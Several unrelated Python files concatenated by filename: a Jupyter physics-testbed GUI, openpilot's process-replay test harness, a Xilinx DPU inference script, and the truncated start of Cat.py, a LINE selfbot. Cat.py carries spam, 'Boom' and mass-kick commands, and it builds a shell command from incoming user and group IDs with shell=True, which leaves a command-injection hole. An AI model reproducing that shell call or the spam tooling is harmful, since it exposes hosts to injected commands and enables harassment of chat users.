objects.Event(data["o"]).Event) def on_voice_chat_permission_open_to_everyone(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_voice_chat_permission_invited_and_requested(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_voice_chat_permission_invite_only(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_chat_view_only_enabled(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_chat_view_only_disabled(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_chat_unpin_announcement(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_chat_tipping_enabled(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_chat_tipping_disabled(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_timestamp_message(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_welcome_message(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_invite_message(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_user_typing_start(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_user_typing_end(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def default(self, data): self.call(getframe(0).f_code.co_name, data)
jupyter_gui.py
import numpy as np from time import sleep from threading import Event, Thread, Lock from ipycanvas import Canvas, hold_canvas from ipywidgets import Label, HTML, Button, HBox, VBox from ipyevents import Event as IPyEvent import functools import IPython import time from ipycanvas import Canvas, MultiCanvas, hold_canvas import ipywidgets from .jupyter_batch_debug_draw import JupyterBatchDebugDraw from ..gui_base import GuiBase def isclose(a, b, rel_tol=1e-09, abs_tol=0.0): return abs(a - b) <= max(rel_tol * max(abs(a), abs(b)), abs_tol) def scale_color(color): return [float(c) / 255.0 for c in color] def rgb(color): r = int(color[0]) g = int(color[1]) b = int(color[2]) return f"rgb({r},{g},{b})" _id_to_gui = dict() class JupyterGui(GuiBase): class Settings(GuiBase.Settings): id: object = None def __init__(self, testbed_cls, settings, testbed_settings=None): self.id = settings.id if settings.id is None: settings.id = testbed_cls if settings.id in _id_to_gui: old_self = _id_to_gui[settings.id] old_self._terminate() _id_to_gui[settings.id] = self self.settings = settings self.resolution = self.settings.resolution # steping settings self._fps = settings.fps self._dt_s = 1.0 / self._fps # testworld if testbed_settings is None: testbed_settings = dict() self.testbed_settings = testbed_settings self.testbed_cls = testbed_cls self.testbed = None # debug_draw self.debug_draw = None self.flip_bit = False # todo! self._debug_draw_flags = self.settings.get_debug_draw_flags() # flag to stop loop self._exit = False self.scale = settings.scale self.translate = settings.translate # Thread related # events self.paused = Event() self.reached_end = Event() self.world_lock = Lock() self._last_screen_pos = None self._mouse_is_down = False def _terminate(self): if not self.paused.isSet(): self.paused.set() def make_testbed(self): if self.testbed is not None: self.testbed.say_goodbye_world() self.testbed = self.testbed_cls(settings=self.testbed_settings) # make debug draw self.debug_draw = JupyterBatchDebugDraw( self.multi_canvas[self.flip_bit], flags=self._debug_draw_flags ) self.debug_draw.screen_size = self.resolution self.debug_draw.scale = self.scale self.debug_draw.translate = self.translate self.debug_draw.flip_y = True self.testbed.set_debug_draw(self.debug_draw) def start_ui(self): # make the canvas self.multi_canvas = MultiCanvas( n_canvases=2, width=self.resolution[0], height=self.resolution[1] ) self.out = ipywidgets.Output() self.flip_bit = False # _setup_ipywidgets_gui self._setup_ipywidgets_gui() # make the world self.make_testbed() def on_mouse_down(xpos, ypos): if not self.paused.isSet(): self._mouse_is_down = True self._last_screen_pos = xpos, ypos pos = self.debug_draw.screen_to_world(self._last_screen_pos) pos = pos.x, pos.y with self.world_lock: self.testbed.on_mouse_down(pos) # moue callbacks def on_mouse_up(xpos, ypos): if not self.paused.isSet(): self._mouse_is_down = False self._last_screen_pos = xpos, ypos pos = self.debug_draw.screen_to_world((xpos, ypos)) pos = pos.x, pos.y with self.world_lock: self.testbed.on_mouse_up(pos) def on_mouse_move(xpos, ypos): if not self.paused.isSet(): lxpos, lypos = self._last_screen_pos self._last_screen_pos = xpos, ypos pos = self.debug_draw.screen_to_world((xpos, ypos)) pos = pos.x, pos.y with self.world_lock: handled_event = self.testbed.on_mouse_move(pos) if ( not handled_event and self._mouse_is_down and self._last_screen_pos is not None ): dx, dy = xpos - lxpos, ypos - lypos translate = self.debug_draw.translate self.debug_draw.translate = ( translate[0] + dx, translate[1] - dy, ) self.multi_canvas[1].on_mouse_down(on_mouse_down) self.multi_canvas[1].on_mouse_up(on_mouse_up) self.multi_canvas[1].on_mouse_move(on_mouse_move) d = IPyEvent( source=self.multi_canvas, watched_events=["keydown", "keyup", "wheel"] ) def handle_event(event): scale = self.debug_draw.scale etype = event["event"] if etype == "wheel": if event["deltaY"] > 0: self.debug_draw.scale = scale * 0.9 elif event["deltaY"] < 0: self.debug_draw.scale = scale * 1.1 # self.event_info.value = f"WHEEEL {event['deltaY']}" elif etype == "keyup": k = event["key"] self.testbed.on_keyboard_up(k) elif etype == "keydown": k = event["key"] self.testbed.on_keyboard_down(k) d.on_dom_event(handle_event) for ci in range(2): self.multi_canvas[ci].line_width = 1 Thread(target=self._loop).start() # Start it by default return self def _loop(self): if self.reached_end.isSet(): self.reached_end.clear() # Event loop while not self.paused.isSet(): t0 = time.time() if self._exit: break self._single_step() t1 = time.time() delta = t1 - t0 if delta < self._dt_s: time.sleep(self._dt_s - delta) self.reached_end.set() def _setup_ipywidgets_gui(self): # buttons start_btn = Button(icon="play") step_forward_btn = Button(icon="step-forward") step_forward_btn.disabled = True pause_btn = Button(icon="pause") reset_btn = Button(icon="stop") zoom_in_btn = Button(icon="search-plus") zoom_out_btn = Button(icon="search-minus") # sliders speed / fps fps_slider = ipywidgets.IntSlider(value=self._fps, min=1, max=100, step=1) speed_slider = ipywidgets.FloatSlider(value=1.0, min=0.1, max=10.0, step=0.1) def pause(btn=None): if not self.paused.isSet(): step_forward_btn.disabled = False self.paused.set() pause_btn.on_click(pause) def start(btn=None): step_forward_btn.disabled = True if self.paused.isSet(): self.paused.clear() if self.reached_end.isSet(): self.reached_end.clear() Thread(target=self._loop).start() start_btn.on_click(start) def step_forward(btn=None): self._single_step() step_forward_btn.on_click(step_forward) def reset(btn): pause() while not self.reached_end.wait(0.02): pass self.make_testbed() self._single_step() # start() reset_btn.on_click(reset) def zoom_in(btn=None): s = self.debug_draw.scale self.debug_draw.scale = s * 1.2 zoom_in_btn.on_click(zoom_in) def zoom_out(btn=None): s = self.debug_draw.scale s /= 1.2 s = max(1, s) self.debug_draw.scale = s zoom_out_btn.on_click(zoom_out) draw_checkboxes = dict( shapes=ipywidgets.Checkbox(value=True), joints=ipywidgets.Checkbox(value=True), aabb=ipywidgets.Checkbox(value=False), com=ipywidgets.Checkbox(value=False), pairs=ipywidgets.Checkbox(value=False), ) def on_flag_change(v, flag): v = v["new"] if v: self.debug_draw.append_flags(flag) else: self.debug_draw.clear_flags([flag]) if self.paused.isSet(): self._draw_world(self.debug_draw._canvas) # play buttons play_buttons = HBox([start_btn, step_forward_btn, pause_btn, reset_btn]) # zoom zoom_buttons = HBox([zoom_in_btn, zoom_out_btn]) # debug draw flags items = [] flags = ["shape", "joint", "aabb", "pair", "center_of_mass", "particle"] for f in flags: label = ipywidgets.Label(value=f"Draw {f} :") checkbox = ipywidgets.Checkbox(value=bool(f in self._debug_draw_flags)) checkbox.observe(functools.partial(on_flag_change, flag=f), names="value") items.append(label) items.append(checkbox) draw_flags = ipywidgets.GridBox( items, layout=ipywidgets.Layout(grid_template_columns="repeat(4, 200px)") ) # tab organizing everything children = [play_buttons, zoom_buttons, draw_flags] tab = ipywidgets.Tab() tab.children = children for i, t in enumerate(["Stepping", "Zoom", "DebugDrawFlags"]): tab.set_title(i, str(t)) # display self.event_info = HTML("Event info") IPython.display.display(self.out) with self.out: IPython.display.display(self.multi_canvas, tab) # IPython.display.display(self.event_info) def _single_step(self): canvas = self.multi_canvas[self.flip_bit] self.flip_bit = not self.flip_bit next_canvas = self.multi_canvas[self.flip_bit] with hold_canvas(next_canvas): self.debug_draw._canvas = next_canvas old_style = next_canvas.fill_style next_canvas.fill_style = "black" next_canvas.fill_rect(0, 0, self.resolution[0], self.resolution[1]) self._step_world() next_canvas.fill_style = old_style # clear this one canvas.clear() def _step_world(self): with self.world_lock: self.testbed.step(self._dt_s)
process_replay.py
#!/usr/bin/env python3 import importlib import os import sys import threading import time import signal from collections import namedtuple import capnp from tqdm import tqdm import cereal.messaging as messaging from cereal import car, log from cereal.services import service_list from common.params import Params from common.timeout import Timeout from selfdrive.car.fingerprints import FW_VERSIONS from selfdrive.car.car_helpers import get_car, interfaces from selfdrive.manager.process import PythonProcess from selfdrive.manager.process_config import managed_processes # Numpy gives different results based on CPU features after version 19 NUMPY_TOLERANCE = 1e-7 CI = "CI" in os.environ TIMEOUT = 15 ProcessConfig = namedtuple('ProcessConfig', ['proc_name', 'pub_sub', 'ignore', 'init_callback', 'should_recv_callback', 'tolerance', 'fake_pubsubmaster']) def wait_for_event(evt): if not evt.wait(TIMEOUT): if threading.currentThread().getName() == "MainThread": # tested process likely died. don't let test just hang raise Exception("Timeout reached. Tested process likely crashed.") else: # done testing this process, let it die sys.exit(0) class FakeSocket: def __init__(self, wait=True): self.data = [] self.wait = wait self.recv_called = threading.Event() self.recv_ready = threading.Event() def receive(self, non_blocking=False): if non_blocking: return None if self.wait: self.recv_called.set() wait_for_event(self.recv_ready) self.recv_ready.clear() return self.data.pop() def send(self, data): if self.wait: wait_for_event(self.recv_called) self.recv_called.clear() self.data.append(data) if self.wait: self.recv_ready.set() def wait_for_recv(self): wait_for_event(self.recv_called) class DumbSocket: def __init__(self, s=None): if s is not None: try: dat = messaging.new_message(s) except capnp.lib.capnp.KjException: # pylint: disable=c-extension-no-member # lists dat = messaging.new_message(s, 0) self.data = dat.to_bytes() def receive(self, non_blocking=False): return self.data def send(self, dat): pass class FakeSubMaster(messaging.SubMaster): def __init__(self, services): super(FakeSubMaster, self).__init__(services, addr=None) self.sock = {s: DumbSocket(s) for s in services} self.update_called = threading.Event() self.update_ready = threading.Event() self.wait_on_getitem = False def __getitem__(self, s): # hack to know when fingerprinting is done if self.wait_on_getitem: self.update_called.set() wait_for_event(self.update_ready) self.update_ready.clear() return self.data[s] def update(self, timeout=-1): self.update_called.set() wait_for_event(self.update_ready) self.update_ready.clear() def update_msgs(self, cur_time, msgs): wait_for_event(self.update_called) self.update_called.clear() super(FakeSubMaster, self).update_msgs(cur_time, msgs) self.update_ready.set() def wait_for_update(self): wait_for_event(self.update_called) class FakePubMaster(messaging.PubMaster): def __init__(self, services): # pylint: disable=super-init-not-called self.data = {} self.sock = {} self.last_updated = None for s in services: try: data = messaging.new_message(s) except capnp.lib.capnp.KjException: data = messaging.new_message(s, 0) self.data[s] = data.as_reader() self.sock[s] = DumbSocket() self.send_called = threading.Event() self.get_called = threading.Event() def send(self, s, dat): self.last_updated = s if isinstance(dat, bytes): self.data[s] = log.Event.from_bytes(dat) else: self.data[s] = dat.as_reader() self.send_called.set() wait_for_event(self.get_called) self.get_called.clear() def wait_for_msg(self): wait_for_event(self.send_called) self.send_called.clear() dat = self.data[self.last_updated] self.get_called.set() return dat def fingerprint(msgs, fsm, can_sock, fingerprint): print("start fingerprinting") fsm.wait_on_getitem = True # populate fake socket with data for fingerprinting canmsgs = [msg for msg in msgs if msg.which() == "can"] wait_for_event(can_sock.recv_called) can_sock.recv_called.clear() can_sock.data = [msg.as_builder().to_bytes() for msg in canmsgs[:300]] can_sock.recv_ready.set() can_sock.wait = False # we know fingerprinting is done when controlsd sets sm['lateralPlan'].sensorValid wait_for_event(fsm.update_called) fsm.update_called.clear() fsm.wait_on_getitem = False can_sock.wait = True can_sock.data = [] fsm.update_ready.set() print("finished fingerprinting") def get_car_params(msgs, fsm, can_sock, fingerprint): if fingerprint: CarInterface, _, _ = interfaces[fingerprint] CP = CarInterface.get_params(fingerprint) else: can = FakeSocket(wait=False) sendcan = FakeSocket(wait=False) canmsgs = [msg for msg in msgs if msg.which() == 'can'] for m in canmsgs[:300]: can.send(m.as_builder().to_bytes()) _, CP = get_car(can, sendcan) Params().put("CarParams", CP.to_bytes()) def controlsd_rcv_callback(msg, CP, cfg, fsm): # no sendcan until controlsd is initialized socks = [s for s in cfg.pub_sub[msg.which()] if (fsm.frame + 1) % int(service_list[msg.which()].frequency / service_list[s].frequency) == 0] if "sendcan" in socks and fsm.frame < 2000: socks.remove("sendcan") return socks, len(socks) > 0 def radar_rcv_callback(msg, CP, cfg, fsm): if msg.which() != "can": return [], False elif CP.radarOffCan: return ["radarState", "liveTracks"], True radar_msgs = {"honda": [0x445], "toyota": [0x19f, 0x22f], "gm": [0x474], "chrysler": [0x2d4]}.get(CP.carName, None) if radar_msgs is None: raise NotImplementedError for m in msg.can: if m.src == 1 and m.address in radar_msgs: return ["radarState", "liveTracks"], True return [], False def calibration_rcv_callback(msg, CP, cfg, fsm): # calibrationd publishes 1 calibrationData every 5 cameraOdometry packets. # should_recv always true to increment frame recv_socks = [] frame = fsm.frame + 1 # incrementing hasn't happened yet in SubMaster if frame == 0 or (msg.which() == 'cameraOdometry' and (frame % 5) == 0): recv_socks = ["liveCalibration"] return recv_socks, fsm.frame == 0 or msg.which() == 'cameraOdometry' def ublox_rcv_callback(msg): msg_class, msg_id = msg.ubloxRaw[2:4] if (msg_class, msg_id) in {(1, 7 * 16)}: return ["gpsLocationExternal"] elif (msg_class, msg_id) in {(2, 1 * 16 + 5), (10, 9)}: return ["ubloxGnss"] else: return [] CONFIGS = [ ProcessConfig( proc_name="controlsd", pub_sub={ "can": ["controlsState", "carState", "carControl", "sendcan", "carEvents", "carParams"], "deviceState": [], "pandaState": [], "liveCalibration": [], "driverMonitoringState": [], "longitudinalPlan": [], "lateralPlan": [], "liveLocationKalman": [], "liveParameters": [], "radarState": [], "modelV2": [], "driverCameraState": [], "roadCameraState": [], "ubloxRaw": [], "managerState": [], }, ignore=["logMonoTime", "valid", "controlsState.startMonoTime", "controlsState.cumLagMs"], init_callback=fingerprint, should_recv_callback=controlsd_rcv_callback, tolerance=NUMPY_TOLERANCE, fake_pubsubmaster=True, ), ProcessConfig( proc_name="radard", pub_sub={ "can": ["radarState", "liveTracks"], "liveParameters": [], "carState": [], "modelV2": [], }, ignore=["logMonoTime", "valid", "radarState.cumLagMs"], init_callback=get_car_params, should_recv_callback=radar_rcv_callback, tolerance=None, fake_pubsubmaster=True, ), # ProcessConfig( # proc_name="plannerd", # pub_sub={ # "modelV2": ["lateralPlan", "longitudinalPlan"], # "carState": [], "controlsState": [], "radarState": [], # }, # ignore=["logMonoTime", "valid", "longitudinalPlan.processingDelay"], # init_callback=get_car_params, # should_recv_callback=None, # tolerance=NUMPY_TOLERANCE, # fake_pubsubmaster=True, # ), ProcessConfig( proc_name="calibrationd", pub_sub={ "carState": ["liveCalibration"], "cameraOdometry": [] }, ignore=["logMonoTime", "valid"], init_callback=get_car_params, should_recv_callback=calibration_rcv_callback, tolerance=None, fake_pubsubmaster=True, ), ProcessConfig( proc_name="dmonitoringd", pub_sub={ "driverState": ["driverMonitoringState"], "liveCalibration": [], "carState": [], "modelV2": [], "controlsState": [], }, ignore=["logMonoTime", "valid"], init_callback=get_car_params, should_recv_callback=None, tolerance=NUMPY_TOLERANCE, fake_pubsubmaster=True, ), ProcessConfig( proc_name="locationd", pub_sub={ "cameraOdometry": ["liveLocationKalman"], "sensorEvents": [], "gpsLocationExternal": [], "liveCalibration": [], "carState": [], }, ignore=["logMonoTime", "valid"], init_callback=get_car_params, should_recv_callback=None, tolerance=NUMPY_TOLERANCE, fake_pubsubmaster=False, ), ProcessConfig( proc_name="paramsd", pub_sub={ "liveLocationKalman": ["liveParameters"], "carState": [] }, ignore=["logMonoTime", "valid"], init_callback=get_car_params, should_recv_callback=None, tolerance=NUMPY_TOLERANCE, fake_pubsubmaster=True, ), # ProcessConfig( # proc_name="ubloxd", # pub_sub={ # "ubloxRaw": ["ubloxGnss", "gpsLocationExternal"], # }, # ignore=["logMonoTime"], # init_callback=None, # should_recv_callback=ublox_rcv_callback, # tolerance=None, # fake_pubsubmaster=False, # ), ] def replay_process(cfg, lr, fingerprint=None): if cfg.fake_pubsubmaster: return python_replay_process(cfg, lr, fingerprint) else: return cpp_replay_process(cfg, lr, fingerprint) def setup_env(): params = Params() params.clear_all() params.put_bool("OpenpilotEnabledToggle", True) params.put_bool("Passive", False) params.put_bool("CommunityFeaturesToggle", True) os.environ['NO_RADAR_SLEEP'] = "1" os.environ["SIMULATION"] = "1" def python_replay_process(cfg, lr, fingerprint=None): sub_sockets = [s for _, sub in cfg.pub_sub.items() for s in sub] pub_sockets = [s for s in cfg.pub_sub.keys() if s != 'can'] fsm = FakeSubMaster(pub_sockets) fpm = FakePubMaster(sub_sockets) args = (fsm, fpm) if 'can' in list(cfg.pub_sub.keys()): can_sock = FakeSocket() args = (fsm, fpm, can_sock) all_msgs = sorted(lr, key=lambda msg: msg.logMonoTime) pub_msgs = [msg for msg in all_msgs if msg.which() in list(cfg.pub_sub.keys())] setup_env() # TODO: remove after getting new route for civic & accord migration = { "HONDA CIVIC 2016 TOURING": "HONDA CIVIC 2016", "HONDA ACCORD 2018 SPORT 2T": "HONDA ACCORD 2018", "HONDA ACCORD 2T 2018": "HONDA ACCORD 2018", "Mazda CX-9 2021": "MAZDA CX-9 2021", } if fingerprint is not None: os.environ['SKIP_FW_QUERY'] = "1" os.environ['FINGERPRINT'] = fingerprint else: os.environ['SKIP_FW_QUERY'] = "" os.environ['FINGERPRINT'] = "" for msg in lr: if msg.which() == 'carParams': car_fingerprint = migration.get(msg.carParams.carFingerprint, msg.carParams.carFingerprint) if len(msg.carParams.carFw) and (car_fingerprint in FW_VERSIONS): Params().put("CarParamsCache", msg.carParams.as_builder().to_bytes()) else: os.environ['SKIP_FW_QUERY'] = "1" os.environ['FINGERPRINT'] = car_fingerprint assert(type(managed_processes[cfg.proc_name]) is PythonProcess) managed_processes[cfg.proc_name].prepare() mod = importlib.import_module(managed_processes[cfg.proc_name].module) thread = threading.Thread(target=mod.main, args=args) thread.daemon = True thread.start() if cfg.init_callback is not None: if 'can' not in list(cfg.pub_sub.keys()): can_sock = None cfg.init_callback(all_msgs, fsm, can_sock, fingerprint) CP = car.CarParams.from_bytes(Params().get("CarParams", block=True)) # wait for started process to be ready if 'can' in list(cfg.pub_sub.keys()): can_sock.wait_for_recv() else: fsm.wait_for_update() log_msgs, msg_queue = [], [] for msg in tqdm(pub_msgs, disable=CI): if cfg.should_recv_callback is not None: recv_socks, should_recv = cfg.should_recv_callback(msg, CP, cfg, fsm) else: recv_socks = [s for s in cfg.pub_sub[msg.which()] if (fsm.frame + 1) % int(service_list[msg.which()].frequency / service_list[s].frequency) == 0] should_recv = bool(len(recv_socks)) if msg.which() == 'can': can_sock.send(msg.as_builder().to_bytes()) else: msg_queue.append(msg.as_builder()) if should_recv: fsm.update_msgs(0, msg_queue) msg_queue = [] recv_cnt = len(recv_socks) while recv_cnt > 0: m = fpm.wait_for_msg().as_builder() m.logMonoTime = msg.logMonoTime m = m.as_reader() log_msgs.append(m) recv_cnt -= m.which() in recv_socks return log_msgs def cpp_replay_process(cfg, lr, fingerprint=None): sub_sockets = [s for _, sub in cfg.pub_sub.items() for s in sub] # We get responses here pm = messaging.PubMaster(cfg.pub_sub.keys()) all_msgs = sorted(lr, key=lambda msg: msg.logMonoTime) pub_msgs = [msg for msg in all_msgs if msg.which() in list(cfg.pub_sub.keys())] log_msgs = [] setup_env() managed_processes[cfg.proc_name].prepare() managed_processes[cfg.proc_name].start() try: with Timeout(TIMEOUT): while not all(pm.all_readers_updated(s) for s in cfg.pub_sub.keys()): time.sleep(0) # Make sure all subscribers are connected sockets = {s: messaging.sub_sock(s, timeout=2000) for s in sub_sockets} for s in sub_sockets: messaging.recv_one_or_none(sockets[s]) for i, msg in enumerate(tqdm(pub_msgs, disable=False)): pm.send(msg.which(), msg.as_builder()) resp_sockets = cfg.pub_sub[msg.which()] if cfg.should_recv_callback is None else cfg.should_recv_callback(msg) for s in resp_sockets: response = messaging.recv_one(sockets[s]) if response is None: print(f"Warning, no response received {i}") else: response = response.as_builder() response.logMonoTime = msg.logMonoTime response = response.as_reader() log_msgs.append(response) if not len(resp_sockets): # We only need to wait if we didn't already wait for a response while not pm.all_readers_updated(msg.which()): time.sleep(0) finally: managed_processes[cfg.proc_name].signal(signal.SIGKILL) managed_processes[cfg.proc_name].stop() return log_msgs
app_mt.py
''' Copyright 2020 Xilinx Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ''' from ctypes import * from typing import List import cv2 import numpy as np import vart import os import pathlib import xir import threading import time import sys import argparse divider='---------------------------' def preprocess_fn(image_path): ''' Image pre-processing. Opens image as grayscale then normalizes to range 0:1 input arg: path of image file return: numpy array ''' image = cv2.imread(image_path, cv2.IMREAD_GRAYSCALE) image = image.reshape(28,28,1) image = image/255.0 return image def get_child_subgraph_dpu(graph: "Graph") -> List["Subgraph"]: assert graph is not None, "'graph' should not be None." root_subgraph = graph.get_root_subgraph() assert (root_subgraph is not None), "Failed to get root subgraph of input Graph object." if root_subgraph.is_leaf: return [] child_subgraphs = root_subgraph.toposort_child_subgraph() assert child_subgraphs is not None and len(child_subgraphs) > 0 return [ cs for cs in child_subgraphs if cs.has_attr("device") and cs.get_attr("device").upper() == "DPU" ] def runDPU(id,start,dpu,img): '''get tensor''' inputTensors = dpu.get_input_tensors() outputTensors = dpu.get_output_tensors() input_ndim = tuple(inputTensors[0].dims) output_ndim = tuple(outputTensors[0].dims) batchSize = input_ndim[0] n_of_images = len(img) count = 0 write_index = start while count < n_of_images: if (count+batchSize<=n_of_images): runSize = batchSize else: runSize=n_of_images-count '''prepare batch input/output ''' outputData = [] inputData = [] inputData = [np.empty(input_ndim, dtype=np.float32, order="C")] outputData = [np.empty(output_ndim, dtype=np.float32, order="C")] '''init input image to input buffer ''' for j in range(runSize): imageRun = inputData[0] imageRun[j, ...] = img[(count + j) % n_of_images].reshape(input_ndim[1:]) '''run with batch ''' job_id = dpu.execute_async(inputData,outputData) dpu.wait(job_id) '''store output vectors ''' for j in range(runSize): out_q[write_index] = np.argmax(outputData[0][j]) write_index += 1 count = count + runSize def app(image_dir,threads,model): listimage=os.listdir(image_dir) runTotal = len(listimage) global out_q out_q = [None] * runTotal g = xir.Graph.deserialize(model) subgraphs = get_child_subgraph_dpu(g) all_dpu_runners = [] for i in range(threads): all_dpu_runners.append(vart.Runner.create_runner(subgraphs[0], "run")) ''' preprocess images ''' print('Pre-processing',runTotal,'images...') img = [] for i in range(runTotal): path = os.path.join(image_dir,listimage[i]) img.append(preprocess_fn(path)) '''run threads ''' print('Starting',threads,'threads...') threadAll = [] start=0 for i in range(threads): if (i==threads-1): end = len(img) else: end = start+(len(img)//threads) in_q = img[start:end] t1 = threading.Thread(target=runDPU, args=(i,start,all_dpu_runners[i], in_q)) threadAll.append(t1) start=end time1 = time.time() for x in threadAll: x.start() for x in threadAll: x.join() time2 = time.time() timetotal = time2 - time1 fps = float(runTotal / timetotal) print(divider) print("Throughput=%.2f fps, total frames = %.0f, time=%.4f seconds" %(fps, runTotal, timetotal)) ''' post-processing ''' classes = ['zero','one','two','three','four','five','six','seven','eight','nine'] correct = 0 wrong = 0 for i in range(len(out_q)): prediction = classes[out_q[i]] ground_truth, _ = listimage[i].split('_',1) if (ground_truth==prediction): correct += 1 else: wrong += 1 accuracy = correct/len(out_q) print('Correct:%d, Wrong:%d, Accuracy:%.4f' %(correct,wrong,accuracy)) print(divider) return # only used if script is run as 'main' from command line def main(): # construct the argument parser and parse the arguments ap = argparse.ArgumentParser() ap.add_argument('-d', '--image_dir', type=str, default='images', help='Path to folder of images. Default is images') ap.add_argument('-t', '--threads', type=int, default=1, help='Number of threads. Default is 1') ap.add_argument('-m', '--model', type=str, default='CNN_zcu102.xmodel', help='Path of xmodel. Default is CNN_zcu102.xmodel') args = ap.parse_args() print(divider) print ('Command line options:') print (' --image_dir : ', args.image_dir) print (' --threads : ', args.threads) print (' --model : ', args.model) print(divider) app(args.image_dir,args.threads,args.model) if __name__ == '__main__': main()
Cat.py
# -*- coding: utf-8 -*- import LINETCR from LINETCR.lib.curve.ttypes import * from datetime import datetime import time,random,sys,json,codecs,threading,glob,re,ast,os,subprocess,requests cl = LINETCR.LINE() cl.login(qr=True) #cl.login(token='') cl.loginResult() print "===[Login Success]===" helpMessage =""" ┏━━━━ೋ• ❄ •ೋ━━━━━┓ ¢σммαи∂ fσя вσt ┗━━━━ೋ• ❄ •ೋ━━━━━┛ ┏━━━━ೋ• ❄ •ೋ━━━━━┓ ╠❂͜͡➣ Help ╠❂͜͡➣ Creator ╠❂͜͡➣ Gcreator ╠❂͜͡➣ List group: ╠❂͜͡➣ Leave group: ╠❂͜͡➣ Cancel ╠❂͜͡➣ Url:on/off ╠❂͜͡➣ Autojoin:on/off ╠❂͜͡➣ Autocancel:on/off ╠❂͜͡➣ Qr:on/off ╠❂͜͡➣ Autokick:on/off ╠❂͜͡➣ Contact:on/off ╠❂͜͡➣ Gift (1,2,3) ╠❂͜͡➣ Ats ╠❂͜͡➣ Spam on (nomer)(text) ╠❂͜͡➣ Dosa (by tag) ╠❂͜͡➣ Pahala (by tag) ╠❂͜͡➣ Cn (text) ╠❂͜͡➣ Setview ╠❂͜͡➣ Viewseen ╠❂͜͡➣ Boom ╠❂͜͡➣ Add all ╠❂͜͡➣ Recover ╠❂͜͡➣ Remove all chat ╠❂͜͡➣ Gn: (name) ╠❂͜͡➣ Kick: (mid) ╠❂͜͡➣ Invite: (mid) ╠❂͜͡➣ Welcome ╠❂͜͡➣ Bc: (text) ╠❂͜͡➣ Cancelall ╠❂͜͡➣ Gurl ╠❂͜͡➣ Self Like ╠❂͜͡➣ Speed ╠❂͜͡➣ Ban ╠❂͜͡➣ Unban ╠❂͜͡➣ Copy @ ╠❂͜͡➣ Backup me ╠❂͜͡➣ Ban @ ╠❂͜͡➣ Unban @ ╠❂͜͡➣ Banlist ╠❂͜͡➣ Kill ban ┏━━━━ೋ• ❄ •ೋ━━━━━┓ SelfBot ZiAd SelfBot ZiAd ┗━━━━ೋ• ❄ •ೋ━━━━━┛ """ mid = cl.getProfile().mid Creator="u6dc040137eac599ca446f80f45bbd93c" admin=["u6dc040137eac599ca446f80f45bbd93c"] contact = cl.getProfile() profile = cl.getProfile() profile.displayName = contact.displayName profile.statusMessage = contact.statusMessage profile.pictureStatus = contact.pictureStatus wait = { "LeaveRoom":True, "AutoJoin":True, "Members":0, "AutoCancel":False, "AutoKick":False, "blacklist":{}, "wblacklist":False, "dblacklist":False, "Qr":True, "Timeline":True, "Contact":True, "lang":"JP", "BlGroup":{} } def sendMessage(to, text, contentMetadata={}, contentType=0): mes = Message() mes.to, mes.from_ = to, profile.mid mes.text = text mes.contentType, mes.contentMetadata = contentType, contentMetadata if to not in messageReq: messageReq[to] = -1 messageReq[to] += 1 def bot(op): try: #--------------------END_OF_OPERATION-------------------- if op.type == 0: return #-------------------NOTIFIED_READ_MESSAGE---------------- if op.type == 55: try: group_id = op.param1 user_id=op.param2 subprocess.Popen('echo "'+ user_id+'|'+str(op.createdTime)+'" >> dataSeen/%s.txt' % group_id, shell=True, stdout=subprocess.PIPE, ) except Exception as e: print e #------------------NOTIFIED_INVITE_INTO_ROOM------------- if op.type == 22: cl.leaveRoom(op.param1) #--------------------INVITE_INTO_ROOM-------------------- if op.type == 21: cl.leaveRoom(op.param1) #--------------NOTIFIED_INVITE_INTO_GROUP---------------- if mid in op.param3: if wait["AutoJoin"] == True: cl.acceptGroupInvitation(op.param1) else: cl.rejectGroupInvitation(op.param1) else: if wait["AutoCancel"] == True: if op.param3 in admin: pass else: cl.cancelGroupInvitation(op.param1, [op.param3]) else: if op.param3 in wait["blacklist"]: cl.cancelGroupInvitation(op.param1, [op.param3]) cl.sendText(op.param1, "Itu kicker jgn di invite!") else: pass #------------------NOTIFIED_KICKOUT_FROM_GROUP----------------- if op.type == 19: if wait["AutoKick"] == True: if op.param2 in admin: pass try: cl.kickoutFromGroup(op.param1,[op.param2]) cl.inviteIntoGroup(op.param1,[op.param3]) except: try: cl.kickoutFromGroup(op.param1,[op.param2]) cl.inviteIntoGroup(op.param1,[op.param3]) except: print ("client Kick regulation or Because it does not exist in the group\ngid=["+op.param1+"]\nmid=["+op.param2+"]") if op.param2 in wait["blacklist"]: pass else: if op.param2 in admin: pass else: wait["blacklist"][op.param2] = True if op.param2 in wait["blacklist"]: pass else: if op.param2 in admin: pass else: wait["blacklist"][op.param2] = True #--------------------------NOTIFIED_UPDATE_GROUP--------------------- if op.type == 11: if wait["Qr"] == True: if op.param2 in admin: pass else: cl.sendText(msg.to, "Jangan mainan QR ntr ada kicker") else: pass #--------------------------SEND_MESSAGE--------------------------- if op.type == 25: msg = op.message #---------------------------------------------------------------------------- if msg.contentType == 13: if wait["wblacklist"] == True: if msg.contentMetadata["mid"] not in admin: if msg.contentMetadata["mid"] in wait["blacklist"]: cl.sendText(msg.to,"already") wait["wblacklist"] = False else: wait["blacklist"][msg.contentMetadata["mid"]] = True wait["wblacklist"] = False cl.sendText(msg.to,"aded") else: cl.sendText(msg.to,"Admin Detected~") elif wait["dblacklist"] == True: if msg.contentMetadata["mid"] in 